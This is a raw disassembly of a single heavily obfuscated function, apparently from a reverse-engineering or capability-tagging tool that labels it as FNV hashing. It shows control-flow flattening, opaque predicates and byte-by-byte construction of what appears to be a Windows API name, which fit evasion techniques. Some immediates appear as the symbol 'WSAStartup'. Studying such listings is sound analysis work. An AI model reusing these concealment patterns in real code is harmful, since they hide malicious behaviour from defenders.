Function at 0x1800f55f0
Capabilities:
Hash data using fnv

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x68], rcx
mov rax, qword [0x180128a08]
xor rax, rbp
mov qword [rbp + 0x30], rax
movabs r15, 0xfae75710794141c3
movabs r13, 0xcbf29ce484222325
movabs r14, 0x518a8ef86bebe3c
cmp edx, 1
mov eax, 0xeb384388
mov ecx, 0xffccefbb
cmove ecx, eax
mov dword [rbp - 0x5c], ecx
mov eax, 0x789453da
nop word cs:[rax + rax]
nop dword [rax]
mov r9d, 0x5855ae01
mov r10d, 0x8397b32
mov r8d, 0x827c1a92
mov r11d, 0x27405158
cmp eax, 0x9ee91b01
jle 0x1800f56c0
cmp eax, 0xffccefba
jle 0x1800f56e0
cmp eax, 0x10ee78bc
je 0x1800f5843
cmp eax, 0x789453da
jne 0x1800f862c
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov eax, 0x88a032e4
jmp 0x1800f5678
cmp eax, 0x8c8ddb2a
jg 0x1800f5730
cmp eax, 0x83e5a0ec
je 0x1800f8640
cmp eax, 0x88a032e4
jne 0x1800f5678
mov eax, dword [rbp - 0x5c]
jmp 0x1800f5678
cmp eax, 0x9ee91b02
je 0x1800f8c60
cmp eax, 0xeb384388
jne 0x1800f5678
mov eax, dword [0x1801294d0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1801294d4], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x9939de37
mov ecx, 0x8c8ddb2b
cmovne eax, ecx
jmp 0x1800f5678
cmp eax, 0x8c8ddb2b
je 0x1800f584d
cmp eax, 0x9939de37
jne 0x1800f5678
mov rax, qword [rbp - 0x68]
mov qword [0x18012c158], rax
mov dword [rbp - 8], 0x53
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
nop dword [rax]
cmp eax, 0x446e11e
jle 0x1800f5800
cmp eax, 0x446e11f
je 0x1800f581d
cmp eax, 0x27405158
je 0x1800f5827
cmp eax, 0x212eec83
jne 0x1800f5790
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f582e
cmp edx, 0xa90857cf
jne 0x1800f57c0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f57c0
cmp eax, 0x827c1a92
je 0x1800f5953
cmp eax, 0xb3be8446
jne 0x1800f5790
mov eax, ecx
jmp 0x1800f5790
mov eax, 0x27405158
jmp 0x1800f5790
mov eax, ebx
jmp 0x1800f5790
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5790
mov eax, 0x9ee91b02
jmp 0x1800f5678
mov rax, qword [rbp - 0x68]
mov qword [0x18012c158], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov dword [rbp - 8], 0x53
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
cmp eax, 0x446e11e
jle 0x1800f5910
cmp eax, 0x446e11f
je 0x1800f592d
cmp eax, 0x27405158
je 0x1800f5937
cmp eax, 0x212eec83
jne 0x1800f58a0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f593e
cmp edx, 0xa90857cf
jne 0x1800f58d0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f58d0
cmp eax, 0x827c1a92
je 0x1800f5a23
cmp eax, 0xb3be8446
jne 0x1800f58a0
mov eax, ecx
jmp 0x1800f58a0
mov eax, 0x27405158
jmp 0x1800f58a0
mov eax, ebx
jmp 0x1800f58a0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f58a0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x10], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f59e0
cmp eax, 0x446e11f
je 0x1800f59fd
cmp eax, 0x27405158
je 0x1800f5a07
cmp eax, 0x212eec83
jne 0x1800f5970
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5a0e
cmp edx, 0xa90857cf
jne 0x1800f59a0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f59a0
cmp eax, 0x827c1a92
je 0x1800f5af3
cmp eax, 0xb3be8446
jne 0x1800f5970
mov eax, ecx
jmp 0x1800f5970
mov eax, 0x27405158
jmp 0x1800f5970
mov eax, ebx
jmp 0x1800f5970
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5970
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x10], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5ab0
cmp eax, 0x446e11f
je 0x1800f5acd
cmp eax, 0x27405158
je 0x1800f5ad7
cmp eax, 0x212eec83
jne 0x1800f5a40
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5ade
cmp edx, 0xa90857cf
jne 0x1800f5a70
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5a70
cmp eax, 0x827c1a92
je 0x1800f5bc3
cmp eax, 0xb3be8446
jne 0x1800f5a40
mov eax, ecx
jmp 0x1800f5a40
mov eax, 0x27405158
jmp 0x1800f5a40
mov eax, ebx
jmp 0x1800f5a40
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5a40
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x11], al
mov dword [rbp - 8], 0x74
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5b80
cmp eax, 0x446e11f
je 0x1800f5b9d
cmp eax, 0x27405158
je 0x1800f5ba7
cmp eax, 0x212eec83
jne 0x1800f5b10
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5bae
cmp edx, 0xa90857cf
jne 0x1800f5b40
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5b40
cmp eax, 0x827c1a92
je 0x1800f5c93
cmp eax, 0xb3be8446
jne 0x1800f5b10
mov eax, ecx
jmp 0x1800f5b10
mov eax, 0x27405158
jmp 0x1800f5b10
mov eax, ebx
jmp 0x1800f5b10
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5b10
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x11], al
mov dword [rbp - 8], 0x74
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5c50
cmp eax, 0x446e11f
je 0x1800f5c6d
cmp eax, 0x27405158
je 0x1800f5c77
cmp eax, 0x212eec83
jne 0x1800f5be0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5c7e
cmp edx, 0xa90857cf
jne 0x1800f5c10
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5c10
cmp eax, 0x827c1a92
je 0x1800f5d63
cmp eax, 0xb3be8446
jne 0x1800f5be0
mov eax, ecx
jmp 0x1800f5be0
mov eax, 0x27405158
jmp 0x1800f5be0
mov eax, ebx
jmp 0x1800f5be0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5be0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x12], al
mov dword [rbp - 8], 0x55
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5d20
cmp eax, 0x446e11f
je 0x1800f5d3d
cmp eax, 0x27405158
je 0x1800f5d47
cmp eax, 0x212eec83
jne 0x1800f5cb0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5d4e
cmp edx, 0xa90857cf
jne 0x1800f5ce0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5ce0
cmp eax, 0x827c1a92
je 0x1800f5e33
cmp eax, 0xb3be8446
jne 0x1800f5cb0
mov eax, ecx
jmp 0x1800f5cb0
mov eax, 0x27405158
jmp 0x1800f5cb0
mov eax, ebx
jmp 0x1800f5cb0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5cb0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x12], al
mov dword [rbp - 8], 0x55
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5df0
cmp eax, 0x446e11f
je 0x1800f5e0d
cmp eax, 0x27405158
je 0x1800f5e17
cmp eax, 0x212eec83
jne 0x1800f5d80
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5e1e
cmp edx, 0xa90857cf
jne 0x1800f5db0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5db0
cmp eax, 0x827c1a92
je 0x1800f5f03
cmp eax, 0xb3be8446
jne 0x1800f5d80
mov eax, ecx
jmp 0x1800f5d80
mov eax, 0x27405158
jmp 0x1800f5d80
mov eax, ebx
jmp 0x1800f5d80
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5d80
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x13], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5ec0
cmp eax, 0x446e11f
je 0x1800f5edd
cmp eax, 0x27405158
je 0x1800f5ee7
cmp eax, 0x212eec83
jne 0x1800f5e50
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5eee
cmp edx, 0xa90857cf
jne 0x1800f5e80
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5e80
cmp eax, 0x827c1a92
je 0x1800f5fd3
cmp eax, 0xb3be8446
jne 0x1800f5e50
mov eax, ecx
jmp 0x1800f5e50
mov eax, 0x27405158
jmp 0x1800f5e50
mov eax, ebx
jmp 0x1800f5e50
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5e50
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x13], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f5f90
cmp eax, 0x446e11f
je 0x1800f5fad
cmp eax, 0x27405158
je 0x1800f5fb7
cmp eax, 0x212eec83
jne 0x1800f5f20
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f5fbe
cmp edx, 0xa90857cf
jne 0x1800f5f50
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f5f50
cmp eax, 0x827c1a92
je 0x1800f60a3
cmp eax, 0xb3be8446
jne 0x1800f5f20
mov eax, ecx
jmp 0x1800f5f20
mov eax, 0x27405158
jmp 0x1800f5f20
mov eax, ebx
jmp 0x1800f5f20
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5f20
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x14], al
mov dword [rbp - 8], 0x68
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6060
cmp eax, 0x446e11f
je 0x1800f607d
cmp eax, 0x27405158
je 0x1800f6087
cmp eax, 0x212eec83
jne 0x1800f5ff0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f608e
cmp edx, 0xa90857cf
jne 0x1800f6020
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6020
cmp eax, 0x827c1a92
je 0x1800f6173
cmp eax, 0xb3be8446
jne 0x1800f5ff0
mov eax, ecx
jmp 0x1800f5ff0
mov eax, 0x27405158
jmp 0x1800f5ff0
mov eax, ebx
jmp 0x1800f5ff0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f5ff0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x14], al
mov dword [rbp - 8], 0x68
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6130
cmp eax, 0x446e11f
je 0x1800f614d
cmp eax, 0x27405158
je 0x1800f6157
cmp eax, 0x212eec83
jne 0x1800f60c0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f615e
cmp edx, 0xa90857cf
jne 0x1800f60f0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f60f0
cmp eax, 0x827c1a92
je 0x1800f6243
cmp eax, 0xb3be8446
jne 0x1800f60c0
mov eax, ecx
jmp 0x1800f60c0
mov eax, 0x27405158
jmp 0x1800f60c0
mov eax, ebx
jmp 0x1800f60c0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f60c0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x15], al
mov dword [rbp - 8], 0x61
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6200
cmp eax, 0x446e11f
je 0x1800f621d
cmp eax, 0x27405158
je 0x1800f6227
cmp eax, 0x212eec83
jne 0x1800f6190
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f622e
cmp edx, 0xa90857cf
jne 0x1800f61c0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f61c0
cmp eax, 0x827c1a92
je 0x1800f6313
cmp eax, 0xb3be8446
jne 0x1800f6190
mov eax, ecx
jmp 0x1800f6190
mov eax, 0x27405158
jmp 0x1800f6190
mov eax, ebx
jmp 0x1800f6190
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6190
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x15], al
mov dword [rbp - 8], 0x61
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f62d0
cmp eax, 0x446e11f
je 0x1800f62ed
cmp eax, 0x27405158
je 0x1800f62f7
cmp eax, 0x212eec83
jne 0x1800f6260
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f62fe
cmp edx, 0xa90857cf
jne 0x1800f6290
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6290
cmp eax, 0x827c1a92
je 0x1800f63e3
cmp eax, 0xb3be8446
jne 0x1800f6260
mov eax, ecx
jmp 0x1800f6260
mov eax, 0x27405158
jmp 0x1800f6260
mov eax, ebx
jmp 0x1800f6260
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6260
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x16], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f63a0
cmp eax, 0x446e11f
je 0x1800f63bd
cmp eax, 0x27405158
je 0x1800f63c7
cmp eax, 0x212eec83
jne 0x1800f6330
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f63ce
cmp edx, 0xa90857cf
jne 0x1800f6360
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6360
cmp eax, 0x827c1a92
je 0x1800f64b3
cmp eax, 0xb3be8446
jne 0x1800f6330
mov eax, ecx
jmp 0x1800f6330
mov eax, 0x27405158
jmp 0x1800f6330
mov eax, ebx
jmp 0x1800f6330
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6330
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x16], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6470
cmp eax, 0x446e11f
je 0x1800f648d
cmp eax, 0x27405158
je 0x1800f6497
cmp eax, 0x212eec83
jne 0x1800f6400
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f649e
cmp edx, 0xa90857cf
jne 0x1800f6430
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6430
cmp eax, 0x827c1a92
je 0x1800f6583
cmp eax, 0xb3be8446
jne 0x1800f6400
mov eax, ecx
jmp 0x1800f6400
mov eax, 0x27405158
jmp 0x1800f6400
mov eax, ebx
jmp 0x1800f6400
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6400
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x17], al
mov dword [rbp - 8], 0x64
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6540
cmp eax, 0x446e11f
je 0x1800f655d
cmp eax, 0x27405158
je 0x1800f6567
cmp eax, 0x212eec83
jne 0x1800f64d0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f656e
cmp edx, 0xa90857cf
jne 0x1800f6500
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6500
cmp eax, 0x827c1a92
je 0x1800f6653
cmp eax, 0xb3be8446
jne 0x1800f64d0
mov eax, ecx
jmp 0x1800f64d0
mov eax, 0x27405158
jmp 0x1800f64d0
mov eax, ebx
jmp 0x1800f64d0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f64d0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x17], al
mov dword [rbp - 8], 0x64
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6610
cmp eax, 0x446e11f
je 0x1800f662d
cmp eax, 0x27405158
je 0x1800f6637
cmp eax, 0x212eec83
jne 0x1800f65a0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f663e
cmp edx, 0xa90857cf
jne 0x1800f65d0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f65d0
cmp eax, 0x827c1a92
je 0x1800f6723
cmp eax, 0xb3be8446
jne 0x1800f65a0
mov eax, ecx
jmp 0x1800f65a0
mov eax, 0x27405158
jmp 0x1800f65a0
mov eax, ebx
jmp 0x1800f65a0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f65a0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x18], al
mov dword [rbp - 8], 0x6c
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f66e0
cmp eax, 0x446e11f
je 0x1800f66fd
cmp eax, 0x27405158
je 0x1800f6707
cmp eax, 0x212eec83
jne 0x1800f6670
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f670e
cmp edx, 0xa90857cf
jne 0x1800f66a0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f66a0
cmp eax, 0x827c1a92
je 0x1800f67f3
cmp eax, 0xb3be8446
jne 0x1800f6670
mov eax, ecx
jmp 0x1800f6670
mov eax, 0x27405158
jmp 0x1800f6670
mov eax, ebx
jmp 0x1800f6670
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6670
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x18], al
mov dword [rbp - 8], 0x6c
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f67b0
cmp eax, 0x446e11f
je 0x1800f67cd
cmp eax, 0x27405158
je 0x1800f67d7
cmp eax, 0x212eec83
jne 0x1800f6740
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f67de
cmp edx, 0xa90857cf
jne 0x1800f6770
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6770
cmp eax, 0x827c1a92
je 0x1800f68c3
cmp eax, 0xb3be8446
jne 0x1800f6740
mov eax, ecx
jmp 0x1800f6740
mov eax, 0x27405158
jmp 0x1800f6740
mov eax, ebx
jmp 0x1800f6740
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6740
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x19], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6880
cmp eax, 0x446e11f
je 0x1800f689d
cmp eax, 0x27405158
je 0x1800f68a7
cmp eax, 0x212eec83
jne 0x1800f6810
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f68ae
cmp edx, 0xa90857cf
jne 0x1800f6840
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6840
cmp eax, 0x827c1a92
je 0x1800f6993
cmp eax, 0xb3be8446
jne 0x1800f6810
mov eax, ecx
jmp 0x1800f6810
mov eax, 0x27405158
jmp 0x1800f6810
mov eax, ebx
jmp 0x1800f6810
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6810
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x19], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6950
cmp eax, 0x446e11f
je 0x1800f696d
cmp eax, 0x27405158
je 0x1800f6977
cmp eax, 0x212eec83
jne 0x1800f68e0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f697e
cmp edx, 0xa90857cf
jne 0x1800f6910
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6910
cmp eax, 0x827c1a92
je 0x1800f6a63
cmp eax, 0xb3be8446
jne 0x1800f68e0
mov eax, ecx
jmp 0x1800f68e0
mov eax, 0x27405158
jmp 0x1800f68e0
mov eax, ebx
jmp 0x1800f68e0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f68e0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1a], al
mov dword [rbp - 8], 0x64
